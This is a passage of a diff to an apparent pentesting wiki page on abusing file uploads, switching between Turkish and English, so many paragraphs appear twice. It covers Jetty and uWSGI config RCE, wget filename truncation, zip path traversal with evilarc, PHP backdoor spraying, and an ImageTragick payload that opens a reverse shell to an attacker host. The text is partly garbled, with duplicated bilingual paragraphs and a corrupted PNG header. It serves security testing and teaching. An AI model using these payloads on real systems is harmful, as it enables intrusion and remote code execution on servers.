file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ## **uWSGI RCE** -Detaylı inceleme için orijinal araştırmayı kontrol edin: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). +For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Remote Command Execution (RCE) zafiyetleri, `.ini` yapılandırma dosyasını değiştirme imkanı olan uWSGI sunucularında istismar edilebilir. uWSGI konfigürasyon dosyaları, "magic" değişkenleri, yer tutucuları ve operatörleri içerebilen özel bir sözdizimi kullanır. Özellikle `@(filename)` şeklinde kullanılan '@' operatörü bir dosyanın içeriğini dahil etmek için tasarlanmıştır. uWSGI tarafından desteklenen çeşitli şemalar arasında "exec" şeması özellikle güçlüdür ve bir sürecin standart çıktısından veri okumaya izin verir. Bir `.ini` dosyası işlendiğinde bu özellik, Remote Command Execution veya Arbitrary File Write/Read gibi kötü amaçlı işlemler için manipüle edilebilir. +Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed. -Aşağıda çeşitli şemaları gösteren zararlı bir `uwsgi.ini` dosyasına örnek verilmektedir: +Çeşitli scheme'leri gösteren zararlı bir `uwsgi.ini` dosyası örneğini düşünün: ```ini [uwsgi] ; read from a symbol @@ -126,14 +156,23 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -Payload'un çalıştırılması, yapılandırma dosyasının parse edilmesi sırasında gerçekleşir. Yapılandırmanın etkinleştirilip parse edilmesi için uWSGI sürecinin ya yeniden başlatılması (potansiyel olarak bir çökme sonrası veya bir Denial of Service attack nedeniyle) ya da dosyanın auto-reload olarak ayarlanması gerekir. Auto-reload özelliği etkinse, değişiklik algılandığında dosyayı belirli aralıklarla yeniden yükler. +The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes. -uWSGI'nin yapılandırma dosyası parsing'inin gevşek doğasını anlamak çok önemlidir. Özellikle, burada tartışılan payload bir binary file içine (örneğin bir image veya PDF) yerleştirilebilir; bu da potansiyel exploit kapsamını daha da genişletir. +Payload'un yürütülmesi, konfigürasyon dosyasının parse edilmesi sırasında gerçekleşir. Konfigürasyonun etkinleştirilip parse edilmesi için uWSGI sürecinin ya yeniden başlatılması (olası bir çökme sonrası veya bir Denial of Service saldırısı nedeniyle) ya da dosyanın otomatik yeniden yüklemeye (auto-reload) ayarlanması gerekir. Auto-reload özelliği etkinse, değişiklik algılandığında dosyayı belirli aralıklarla yeniden yükler. + +It's crucial to understand the lax nature of uWSGI's configuration file parsing. Specifically, the discussed payload can be inserted into a binary file (such as an image or PDF), further broadening the scope of potential exploitation. + +uWSGI'nin konfigürasyon dosyası parse etme işleminin gevşek olduğunu anlamak çok önemlidir. Özellikle, burada bahsedilen payload bir ikili (binary) dosyaya (örneğin bir resim veya PDF) yerleştirilebilir; bu da potansiyel istismar alanını daha da genişletir. ## **wget File Upload/SSRF Trick** -Bazı durumlarda bir sunucunun **`wget`** kullanarak **dosya indirdiğini** ve sizin **URL** belirtebildiğinizi görebilirsiniz. Bu gibi durumlarda, kod indirilen dosyaların uzantısının bir beyaz listede olup olmadığını kontrol ediyor olabilir; böylece yalnızca izin verilen dosyalar indirilecek. Ancak, **bu kontrol atlatılabilir.**\ -**linux**'da bir **filename**'in **maximum** uzunluğu **255**'tir, ancak **wget** dosya adlarını **236** karaktere kısaltır. **"A"\*232+".php"+".gif"** adlı bir dosyayı **download** edebilirsiniz; bu dosya adı **kontrolü** **atlatır** (bu örnekte **".gif"** geçerli bir uzantıdır) fakat `wget` dosyayı **"A"\*232+".php"** olarak **yeniden adlandırır**. +In some occasions you may find that a server is using **`wget`** to **download files** and you can **indicate** the **URL**. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, **this check can be bypassed.**\ + +Bazı durumlarda bir sunucunun **`wget`** kullanarak **dosya indirdiğini** ve sizin **URL** **belirtebildiğinizi** görebilirsiniz. Bu durumlarda, kod indirilen dosyaların uzantısının bir whitelist içinde olup olmadığını kontrol ediyor olabilir; böylece sadece izin verilen dosyaların indirileceği garanti edilir. Ancak, **bu kontrol atlatılabilir.**\ + +The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"\*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"\*232+".php"**. + +linux'ta bir **dosya adı**nın maksimum uzunluğu **255** karakterdir; ancak **`wget`** dosya adlarını **236** karaktere kadar kısaltır. `wget` ile **"A"\*232+".php"+".gif"** adında bir dosya indirebilirsiniz; bu dosya adı **kontrolü atlatır** (bu örnekte **".gif"** **geçerli** bir uzantıdır) fakat `wget` dosyayı **"A"\*232+".php"** olarak **yeniden adlandıracaktır**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -156,15 +195,15 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Note that **başka bir seçenek** olarak aklınıza gelebilecek bu kontrolü atlatma yöntemi, **HTTP server**ın farklı bir dosyaya yönlendirme yapmasını sağlamaktır; böylece başlangıçtaki URL kontrolü atlatır fakat wget yönlendirilmiş dosyayı yeni isimle indirir. Bu **çalışmaz** **eğer** wget **--trust-server-names** parametresi ile kullanılmıyorsa çünkü **wget, yönlendirilen sayfayı orijinal URL’de belirtilen dosya adıyla indirecektir**. +Dikkat: bu kontrolü atlatmak için aklınıza gelebilecek **başka bir seçenek**, **HTTP server'ın farklı bir dosyaya redirect etmesini** sağlamaktır; böylece başlangıçtaki URL kontrolü atlatır, ancak wget yönlendirilen dosyayı yeni adıyla indirir. Bu **çalışmaz** **temin ki** wget `--trust-server-names` **parametresiyle kullanılmıyorsa**, çünkü **wget yönlendirilen sayfayı orijinal URL'de belirtilen dosya adıyla indirir**. ## Tools -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) Pentesters ve Bug Hunters’ın file upload mekanizmalarını test etmelerine yardımcı olmak için tasarlanmış güçlü bir araçtır. Bug bounty tekniklerini kullanarak web uygulamalarındaki zafiyetleri tespit etmeyi ve sömürmeyi kolaylaştırır, kapsamlı değerlendirmeler sağlar. +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications. ### Corrupting upload indices with snprintf quirks (historical) -Tek dosya upload’ından çoklu dosya dizileri oluşturmak için `snprintf()` veya benzeri fonksiyonları kullanan bazı eski upload handler’lar, `_FILES` yapısını sahteleyerek kandırılabilir. `snprintf()` davranışındaki tutarsızlıklar ve truncation nedeniyle, dikkatle hazırlanmış tek bir upload, sunucu tarafında birden çok indekslenmiş dosya gibi görünebilir; bu da katı bir yapı varsayan mantığı (ör. çoklu dosya upload’u olarak ele alıp güvensiz dallara girmek) şaşırtabilir. Günümüzde nadir olmakla birlikte bu “index corruption” kalıbı zaman zaman CTF’lerde ve daha eski kod tabanlarında tekrar ortaya çıkar. +Bazı eski upload handler'ları, tek dosyalık bir upload'tan multi-file array'ler oluşturmak için `snprintf()` veya benzerlerini kullandığında, `_FILES` yapısını sahte olarak oluşturacak şekilde kandırılabilirler. `snprintf()` davranışındaki tutarsızlıklar ve truncation nedeniyle, dikkatle hazırlanmış tek bir upload, sunucu tarafında birden fazla indekslenmiş dosya gibi görünebilir ve katı bir şekil varsayan mantığı (ör. bunu çoklu dosya upload'u olarak ele alıp güvensiz dallara gitmek) şaşırtabilir. Günümüzde nadir olsa da, bu “index corruption” paterni zaman zaman CTF'lerde ve eski kod tabanlarında tekrar ortaya çıkar. ## From File upload to other vulnerabilities @@ -178,13 +217,13 @@ Tek dosya upload’ından çoklu dosya dizileri oluşturmak için `snprintf()` v - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) - Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- Eğer web sunucusuna bir URL’den image almasını **belirtebiliyorsanız**, bir [SSRF](../ssrf-server-side-request-forgery/index.html) suistimal etmeyi deneyebilirsiniz. Eğer bu **image** bir **public** site’de **kaydedilecekse**, ayrıca [https://iplogger.org/invisible/](https://iplogger.org/invisible/) adresinden bir URL belirleyip **her ziyaretçinin bilgisini çalabilirsiniz**. +- Eğer web server'a bir URL'den image çekmesini **belirtebiliyorsanız**, bir [SSRF](../ssrf-server-side-request-forgery/index.html) istismar etmeyi deneyebilirsiniz. Bu **image** bazı **public** bir sitede **kaydedilecekse**, ayrıca [https://iplogger.org/invisible/](https://iplogger.org/invisible/) adresinden bir URL gösterip **her ziyaretçinin bilgilerini çalabilirsiniz**. - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) -- XSS için özel hazırlanmış PDF’ler: [aşağıdaki sayfa nasıl **PDF verisi enjekte edilip JS yürütüleceğini** gösteriyor](../xss-cross-site-scripting/pdf-injection.md). Eğer PDF yükleyebiliyorsanız, verilen yönergelere göre rastgele JS çalıştıracak bir PDF hazırlayabilirsiniz. -- Sunucuda herhangi bir **antivirus** olup olmadığını kontrol etmek için \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) içeriğini yükleyin +- XSS amaçlı özel hazırlanmış PDF'ler: Aşağıdaki sayfa **PDF verisi enjekte ederek JS çalıştırma elde etme** yöntemini gösterir. Eğer PDF yükleyebiliyorsanız, verilen yönergelere uyan rastgele JS çalıştıracak bir PDF hazırlayabilirsiniz. +- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus** - Dosya yüklerken herhangi bir **boyut limiti** olup olmadığını kontrol edin -İşte upload ile başarabileceğiniz şeylerden bir top 10 listesi (kaynak: [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): +İşte yükleyerek başarabileceğiniz şeylerin top 10 listesi (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 2. **SVG**: Stored XSS / SSRF / XXE @@ -206,37 +245,37 @@ https://github.com/portswigger/upload-scanner ## Magic Header Bytes -- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` +- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["` - **JPG**: `"\xff\xd8\xff"` -Diğer dosya tipleri için [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) adresine bakın. +Diğer dosya tipleri için şu sayfaya bakın: [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) ## Zip/Tar File Automatically decompressed Upload -Eğer sunucuda açılacak şekilde bir ZIP upload edebiliyorsanız, iki şey yapabilirsiniz: +Eğer sunucu içinde açılacak bir ZIP yükleyebiliyorsanız, iki şey yapabilirsiniz: ### Symlink -Diğer dosyalara soft link içeren bir link yükleyin; ardından açılan dosyalara eriştiğinizde linklenmiş dosyalara erişmiş olursunuz: +Diğer dosyalara soft link içeren bir link yükleyin; daha sonra, açılmış dosyalara eriştiğinizde linklenmiş dosyalara erişmiş olursunuz: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt tar -cvf test.tar symindex.txt ``` -### Farklı klasörlere açma +### Farklı klasörlere dekompresyon -Sıkıştırmayı açma sırasında dosyaların dizinlerde beklenmedik şekilde oluşturulması ciddi bir sorundur. Bu yapılandırmanın malicious file uploads yoluyla OS-level command execution'a karşı koruma sağlayacağı ilk varsayımlarına rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve directory traversal yetenekleri kötüye kullanılabilir. Bu, saldırganların kısıtlamaları aşmasına ve hedef uygulamanın decompression işlevini manipüle ederek güvenli upload dizinlerinden kaçmasına olanak tanır. +Dekompresyon sırasında dizinlerde beklenmedik dosyaların oluşturulması ciddi bir sorundur. Bu düzenlemenin kötü amaçlı dosya yüklemeleri yoluyla OS-level command execution'a karşı koruma sağlayabileceği ilk varsayımlarına rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve directory traversal yetenekleri sömürülebilir. Bu, hedef uygulamanın dekompresyon işlevini manipüle ederek saldırganların kısıtlamaları atlatmasına ve güvenli upload dizinlerinden kaçmasına olanak tanır. -Böyle dosyaları oluşturmak için otomatik bir exploit [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) adresinde mevcuttur. Araç şu şekilde kullanılabilir: +An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). The utility can be used as shown: ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -Ek olarak, **symlink trick with evilarc** bir seçenektir. Eğer amaç `/flag.txt` gibi bir dosyayı hedeflemekse, sisteminizde o dosyaya işaret eden bir symlink oluşturmalısınız. Bu, evilarc'ın çalışma sırasında hatalarla karşılaşmamasını sağlar. +Ek olarak, **symlink trick with evilarc** bir seçenektir. Hedef `/flag.txt` gibi bir dosya ise, sisteminizde o dosyaya bir symlink oluşturulmalıdır. Bu, evilarc'ın çalışması sırasında hata ile karşılaşmamasını sağlar. -Aşağıda kötü amaçlı bir zip dosyası oluşturmak için kullanılan Python örnek kodu bulunmaktadır: +Aşağıda kötü amaçlı bir zip dosyası oluşturmak için kullanılan Python kodu örneği bulunmaktadır: ```python #!/usr/bin/python import zipfile @@ -254,11 +293,11 @@ zip.close() create_zip() ``` -**File spraying için sıkıştırmanın kötüye kullanımı** +**Sıkıştırmayı file spraying için kötüye kullanma** -Daha fazla ayrıntı için **orijinal gönderiyi inceleyin**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) +Daha fazla ayrıntı için **orijinal gönderiye bakın**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **PHP Shell Oluşturma**: PHP kodu, `$_REQUEST` değişkeniyle geçirilen komutları çalıştıracak şekilde yazılır. +1. **PHP Shell Oluşturma**: PHP kodu, `$_REQUEST` değişkeniyle gelen komutları çalıştırmak için yazılır. ```php ``` -2. **File Spraying ve Sıkıştırılmış Dosya Oluşturma**: Birden fazla dosya oluşturulur ve bu dosyaları içeren bir zip arşivi hazırlanır. +2. **File Spraying ve Sıkıştırılmış Dosya Oluşturma**: Birden çok dosya oluşturulur ve bu dosyaları içeren bir zip arşivi hazırlanır. ```bash root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# zip cmd.zip xx*.php ``` -3. **Hex Editor veya vi ile Değişiklik**: Zip içindeki dosya adları vi veya bir hex editor ile değiştirilir; "xxA" dizinler arası geçiş yapmak için "../" ile değiştirilir. +3. **Hex Editor veya vi ile Değiştirme**: Zip içindeki dosya isimleri vi veya bir hex editor kullanılarak değiştirilir; dizinleri gezmek için "xxA" -> "../" olarak değiştirilir. ```bash :set modifiable @@ -285,40 +324,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php ## ImageTragic -Bu içeriği bir image uzantısıyla yükleyerek zafiyeti istismar edin **(ImageMagick , 7.0.1-1)** (exploit için: [exploit](https://www.exploit-db.com/exploits/39767)) +Bu içeriği bir görüntü uzantısıyla yükleyin; açığı istismar etmek için **(ImageMagick , 7.0.1-1)** (detaylar: [exploit](https://www.exploit-db.com/exploits/39767)) ``` push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context ``` -## PNG içinde PHP Shell Gömme +## Embedding PHP Shell on PNG -Bir PNG dosyasının IDAT chunk'ına PHP shell gömmek, belirli görüntü işleme operasyonlarını etkili şekilde atlatabilir. PHP-GD'den `imagecopyresized` ve `imagecopyresampled` fonksiyonları bu bağlamda özellikle önemlidir; bunlar sırasıyla görüntüleri yeniden boyutlandırmak ve yeniden örneklemek için yaygın olarak kullanılır. Gömülü PHP shell'in bu işlemlerden etkilenmeden kalabilmesi, bazı kullanım durumları için önemli bir avantaj sağlar. +Bir PNG dosyasının IDAT chunk'ına bir PHP shell gömmek, belirli görüntü işleme operasyonlarını etkili bir şekilde atlatabilir. PHP-GD'den imagecopyresized ve imagecopyresampled fonksiyonları, sırasıyla görüntüleri yeniden boyutlandırmak ve yeniden örneklemek için yaygın olarak kullanıldığından bu bağlamda özellikle önemlidir. Gömülü PHP shell'in bu işlemlerden etkilenmeden kalabilme yeteneği belirli kullanım senaryoları için önemli bir avantaj sağlar. -Bu tekniğin metodolojisi ve olası uygulamalarını içeren ayrıntılı bir inceleme şu makalede bulunuyor: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Bu kaynak süreç ve etkileri hakkında kapsamlı bir anlayış sunar. +Bu tekniğin metodolojisi ve olası uygulamaları dahil olmak üzere ayrıntılı bir inceleme aşağıdaki makalede sunulmuştur: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Bu kaynak süreç ve etkileri hakkında kapsamlı bir anlayış sağlar. Daha fazla bilgi: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) -## Polyglot Dosyalar +## Poliglot Dosyalar -Polyglot dosyalar, siber güvenlikte benzersiz bir araç olarak hizmet eder; aynı anda birden fazla dosya formatında geçerli şekilde bulunabilen kamuflajcılar gibi davranırlar. İlginç bir örnek [GIFAR](https://en.wikipedia.org/wiki/Gifar) — hem GIF hem de RAR arşivi olarak işlev gören hibrit bir dosyadır. Bu tür dosyalar sadece bu eşleşmeyle sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür. +Poliglot dosyalar siber güvenlikte benzersiz bir araç olarak hizmet eder; aynı anda birden fazla dosya formatında geçerli şekilde var olabilen bukalemunlar gibidirler. İlginç bir örnek, hem GIF hem de RAR arşivi olarak işlev gören bir [GIFAR](https://en.wikipedia.org/wiki/Gifar) hibritidir. Bu tür dosyalar bu eşleşmeyle sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür. -Polyglot dosyaların temel faydası, dosyaları tür bazında tarayan güvenlik önlemlerini aşma kapasitelerindedir. Çeşitli uygulamalarda yaygın uygulama, potansiyel olarak zararlı formatların (ör. JS, PHP veya Phar dosyaları) riskini azaltmak için yalnızca JPEG, GIF veya DOC gibi belirli dosya türlerine izin vermektir. Ancak bir polyglot, birden fazla dosya türünün yapısal kriterlerine uyduğunda, bu kısıtlamaları sessizce atlatabilir. +Poliglot dosyaların temel faydası, dosyaları türlerine göre tarayan güvenlik önlemlerini aşabilme kapasiteleridir. Birçok uygulamada yalnızca JPEG, GIF veya DOC gibi belirli dosya türlerinin yüklenmesine izin verilmesi yaygın bir uygulamadır; bu, JS, PHP veya Phar gibi potansiyel olarak zararlı formatların riskini azaltmak içindir. Ancak bir poliglot, birden fazla dosya türünün yapısal kriterlerine uyduğundan, bu kısıtlamaları gizlice atlatabilir. -Uyarlanabilirliklerine rağmen, polyglot'lar sınırlamalarla karşılaşabilir. Örneğin, bir polyglot aynı anda bir PHAR dosyası (PHp ARchive) ve bir JPEG olabilir; ancak yükleme başarısı platformun dosya uzantısı politikalarına bağlı olabilir. Sistem izin verilen uzantılar konusunda katıysa, bir polyglot'un yalnızca yapısal ikiliği yüklemenin garantisi olmayabilir. +Uyarlanabilirliklerine rağmen poliglotların sınırlamaları vardır. Örneğin, bir poliglot aynı anda bir PHAR file (PHp ARchive) ve bir JPEG olabilse de, yükleme başarısı platformun dosya uzantısı politikalarına bağlı olabilir. Sistem izin verilen uzantılarda katıysa, bir poliglotun yalnızca yapısal ikiliği yüklenmesini garanti etmeyebilir. Daha fazla bilgi: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) -### PDF gibi davranan geçerli JSON'lar yükleme +### Upload valid JSONs like if it was PDF -Bir PDF dosyası taklidi yaparak, izin verilmiyor olsa bile geçerli bir JSON dosyası yükleyerek dosya türü tespitlerinden nasıl kaçınılacağı (teknikler **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): +Bir PDF dosyası gibi sahte göstererek, izin verilmese bile geçerli bir JSON dosyası yükleyerek dosya türü tespitlerinden nasıl kaçınılır (teknikler **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)** kaynağından): -- **`mmmagic` library**: İlk 1024 byte içinde `%PDF` magic byte'ları olduğu sürece geçerli sayılır (örnek için yazıya bakın) -- **`pdflib` library**: JSON'un bir alanı içine sahte bir PDF formatı ekleyin ki kütüphane bunun bir pdf olduğunu sansın (örnek için yazıya bakın) -- **`file` binary**: Bir dosyadan maksimum 1048576 byte okuyabilir. Basitçe JSON'u bu boyuttan daha büyük yapın ki içeriği bir json olarak parse edemesin; sonra JSON'un içine gerçek bir PDF'in başlangıç kısmını koyun ve bunun PDF olduğunu düşünecektir +- **`mmmagic` library**: `%PDF` magic bytes ilk 1024 bayt içinde olduğu sürece geçerli sayılır (örnek için yazıya bakın) +- **`pdflib` library**: Kütüphanenin bunun bir pdf olduğunu düşünmesi için JSON'un içindeki bir alana sahte bir PDF formatı ekleyin (örnek için yazıya bakın) +- **`file` binary**: Bir dosyadan 1048576 bayta kadar okuyabilir. İçeriği bir json olarak parse edemeyeceği şekilde bundan daha büyük bir JSON oluşturun ve sonra JSON'un içine gerçek bir PDF'in başlangıç kısmını koyun; böylece bunun bir PDF olduğunu düşünecektir -## Referanslar +## References - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files) - [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner) @@ -328,5 +367,8 @@ Bir PDF dosyası taklidi yaparak, izin verilmiyor olsa bile geçerli bir JSON do - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) - [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) - [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) +- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546) +- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca) +- [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) {{#include ../../banners/hacktricks-training.md}}